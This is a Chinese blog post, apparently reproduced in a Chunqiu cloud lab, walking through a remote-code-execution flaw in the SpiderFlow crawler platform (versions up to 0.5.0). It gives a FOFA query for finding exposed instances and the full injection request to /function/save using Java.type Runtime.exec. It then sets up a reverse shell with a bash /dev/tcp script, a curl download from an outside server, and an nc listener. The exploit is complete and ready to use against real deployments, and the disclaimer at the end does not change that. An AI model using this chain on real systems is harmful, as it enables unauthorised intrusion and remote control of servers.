0x01 前言
SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器。
影响范围:
- Up to (including) <= 0.5.0
漏洞搜索:
# fofa 语法
app="SpiderFlow"
复现准备:
- 靶机:春秋云境 http://xxxxx.cloudeci1.ichunqiu.com/
- 公网服务器:10.10.10.1
0x02 复现
1. 抓包
根据漏洞说明找到漏洞的具体位置,输入内容进行抓包
2. POC
修改 script 参数:
POST /function/save HTTP/1.1
Host: xxxxx.cloudeci1.ichunqiu.com:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://xxxxx.cloudeci1.ichunqiu.com:8088
Connection: close
Referer: http://xxxxx.cloudeci1.ichunqiu.com:8088/function-edit.html
Priority: u=0
id=&name=cmd¶meter=&script=}Java.type('java.lang.Runtime').getRuntime().exec('whoami');{
再次发送,显示 200 执行成功,但是并无回显。
3. 端口监听
# 建立 http 服务对 80 端口进行监听
python3 -m http.server 80
编写 shell.sh 脚本文件,将该文件放入 http 服务监听的目录下,通过 RCE 漏洞让靶机执行 curl 命令下载该文件。shell.sh 文件内容如下:
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1
4. 上传脚本
id=&name=cmd¶meter=&script=}Java.type('java.lang.Runtime').getRuntime().exec('curl http://10.10.10.1:80/shell.sh -o shell.sh');{
5. 开启 4444 端口等待反弹
nc -lvvp 4444
6. 反弹 shell
让靶机执行脚本,此时,4444 端口监听得到 shell
id=&name=cmd¶meter=&script=}Java.type('java.lang.Runtime').getRuntime().exec('bash shell.sh');{
免责声明
技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!
标签:shell,http,漏洞,2024,SpiderFlow,sh,RCE,com,xxxxx From: https://blog.csdn.net/qq_45240382/article/details/140525453